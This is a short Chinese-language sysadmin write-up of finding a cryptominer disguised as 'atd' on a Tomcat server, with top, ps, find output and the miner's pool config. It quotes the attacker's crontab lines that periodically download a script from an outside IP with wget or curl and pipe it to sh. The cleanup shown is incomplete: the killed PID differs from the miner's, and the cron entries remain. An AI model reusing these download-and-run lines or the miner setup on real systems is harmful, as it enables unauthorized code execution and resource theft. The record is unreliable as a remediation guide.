线上一台应用服务器报警,负载过高,这个就诡异了,因为只是一个普通的服务器,应用使用人员不到10个人,咋会负载高,肯定有问题哪,登陆上去查看,
top查看哪个占据的cpu资源比较多
[root@aew01~]# top
top - 14:27:49 up 423 days, 22:48, 3 users, load average: 2.10, 1.85, 1.66
Tasks: 166 total, 1 running, 164 sleeping, 0 stopped, 1 zombie
Cpu0 : 45.4%us, 0.8%sy, 0.0%ni, 53.8%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Cpu1 : 38.2%us, 0.8%sy, 0.0%ni, 59.8%id, 0.0%wa, 0.0%hi, 1.2%si, 0.0%st
Mem: 14389372k total, 14233284k used, 156088k free, 12388k buffers
Swap: 33554428k total, 1511980k used, 32042448k free, 40140k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
39674 tomcat 20 0 223m 2808 412 S 75.0 0.0 4031:53 atd
54892 tomcat 20 0 10.1g 3.6g 4816 S 4.6 26.4 969:07.52 java
[tomcat@aew01~]$ crontab -l
*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
[tomcat@aew01~]$
[root@aew01~]# ps -eaf|grep 39674
root 39023 37026 0 14:28 pts/0 00:00:00 grep 39674
tomcat 39674 1 85 Jul15 ? 2-19:12:05 ./atd -c bmsnxvpggm.conf -t 1
[root@aew01~]#
[root@aew01~]# find / -name atd
/usr/sbin/atd
/etc/sysconfig/atd
/etc/pam.d/atd
/etc/rc.d/init.d/atd
/var/tmp/atd
[root@aew01~]# more /usr/sbin/atd
******** /usr/sbin/atd: Not a text file ********
[root@aew01~]#
[root@aew01~]# more /var/tmp/bmsnxvpggm.conf
{
"url" : "stratum+tcp://94.23.41.130:80",
"user" : "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt",
"pass" : "x",
"algo" : "cryptonight",
"quiet" : true
}
[root@aew01~]#
[root@aew01~]# kill -9 39979
[root@aew01~]# ps -eaf|grep atd
root 40917 37026 0 14:48 pts/0 00:00:00 grep atd
[root@aew01~]#
[tomcat@aew01~]$ crontab -l
*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
[tomcat@aew01~]$